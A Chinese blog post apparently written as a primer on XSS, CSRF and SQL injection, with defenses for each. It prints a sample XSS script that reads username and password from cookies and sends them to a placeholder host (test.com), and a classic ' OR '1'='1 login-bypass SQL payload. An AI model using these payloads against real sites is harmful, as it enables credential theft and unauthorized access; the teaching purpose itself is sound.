常见前端安全问题 XSS CSRF SQL注入

💡XSS 跨站脚本攻击

跨站脚本(cross site script)简称为XSS,是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。

XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,使别的用户访问都会执行相应的嵌入代码。

造成危害:

盗取用户账号、资料;网站挂马;诱骗人打开恶意网站或者下载恶意程序等。

例子:

如例子:利用xss窃取用户名密码

假设有个受信任网站的登录表单

<form action="/login" method="post">
    <input type="text" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" value="Login">
</form>

攻击者可以通过以下方式注入JavaScript代码:

嵌入js代码引用

I got your password
<script type="text/jacascript" src="http://test.com/hack.js">
</script>
//hack.js
var username=CookieHelper.getCookie('username').value; 
var password=CookieHelper.getCookie('password').value; 
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);
//获取cookie中的用户密码,并带着账号密码指向别的网站
防范:

XSS的根源主要是没完全过滤客户端提交的数据 ,所以重点是要过滤用户提交的信息

  1. 将重要的cookie标记为http only, 这样的话js中的document.cookie语句就不能获取到cookie了.

  2. 只允许用户输入我们期望的数据。 例如:age用户年龄只允许用户输入数字,而数字之外的字符都过滤掉。

  3. 对数据进行Html Encode处理: 用户将数据提交上来的时候进行HTML编码,将相应的符号转换为实体名称再进行下一步的处理。

  4. 过滤或移除特殊的Html标签

  5. 过滤js事件的标签。例如 “οnclick=”, “onfocus” 等等。

💡CSRF 跨站请求伪造

CSRF 攻击者通过伪装成已认证用户的请求来执行非法操作。

CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见的Web攻击。CSRF攻击过程的受害者用户登录网站A,输入个人信息,在本地保存服务器生成的cookie。然后在A网站点击由攻击者构建一条恶意链接跳转到B网站,然后B网站携带着的用户cookie信息去访问B网站。让A网站造成是用户自己访问的假相,从而来进行一些列的操作,常见的就是转账。

危害:

通过基于受信任的输入form和对特定行为无需授权的已认证的用户来执行某些行为的web应用。已经通过被保存在用户浏览器中的cookie进行认证的用户将在完全无知的情况下发送HTTP请求到那个信任他的站点,进而进行用户不愿做的行为。

防范:

使用CSRF token,在表单中添加隐藏字段,确保请求由用户发起。

1、验证码。

应用程序和用户进行交互过程中,特别是账户交易这种核心步骤,强制用户输入验证码,才能完成最终请求。在通常情况下,验证码够很好地遏制

CSRF攻击。但增加验证码降低了用户的体验,网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段,在关键业务点设置验证码。

2、Anti CSRF Token。

目前比较完善的解决方案是加入Anti-CSRF-Token,即发送请求时在HTTP 请

其中以参数的形式加入一个随机产生的token,并在服务器建立一个拦截器来验证这个token。服务器读取浏览器当前域cookie中这个token值,会进行校验该请求当中的token

和cookie当中的token值是否都存在且相等,才认为这是合法的请求。

CSRF的防御
服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数。

通过验证码的方法

💡SQL注入

解释:攻击者通过输入恶意的SQL语句,破坏数据库查询的完整性。

SQL注入是比较常见的网络攻击方式之一,主要是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,实现无帐号登录,甚至篡改数据库。

原理:

SQL注入(SQL Injection),应用程序在向后台数据库传递SQL(Structured Query Language,结构化查询语言)时,攻击者将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

SQL注入的方式

通常情况下,SQL注入的位置包括:

表单提交,主要是POST请求,也包括GET请求;

URL参数提交,主要为GET请求参数;

Cookie参数提交;HTTP请求头部的一些可修改的值,比如Referer、User_Agent等;

例子:

某个网站的登录验证的SQL查询代码为:

strSQL = "SELECT * FROM users WHERE (name = '" + userName +"') and (pw = '"+ passWord +"');"

恶意填入

userName = "1' OR '1'='1";

passWord = "1' OR '1'='1";

时,将导致原本的SQL字符串被填为

strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

也就是实际上运行的SQL命令会变成下面这样的

strSQL = ``"SELECT * FROM users;"

因此达到无账号密码,亦可登录网站。所以SQL注入攻击被俗称为黑客的填空游戏。

危害:

得到管理员权限

数据库信息泄漏:数据库中存放的用户的隐私信息的泄露;

网页篡改:通过操作数据库对特定网页进行篡改;

数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改;

服务器被远程控制,被安装后门;删除和修改数据库表信息.

防范:

对用户的输入进行校验,使用正则表达式过滤传入的参数;

使用参数化语句,不要拼接sql,也可以使用安全的存储过程;

不要使用管理员权限的数据库连接,为每个应用使用权限有限的数据库连接;

检查数据存储类型;重要的信息一定要加密。

解决方法:增加黑名单或者白名单验证, 使用参数化查询(预处理语句),限制数据库权限,对输入进行验证和转义。

总之就是既要做好过滤与编码并使用参数化语句,也要把重要的信息进行加密处理,这样SQL注入漏洞才能更好的解决。

参考文章:
https://baijiahao.baidu.com/s?id=1622691784467436709&wfr=spider&for=pc
https://blog.csdn.net/2401_83739727/article/details/137661703

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值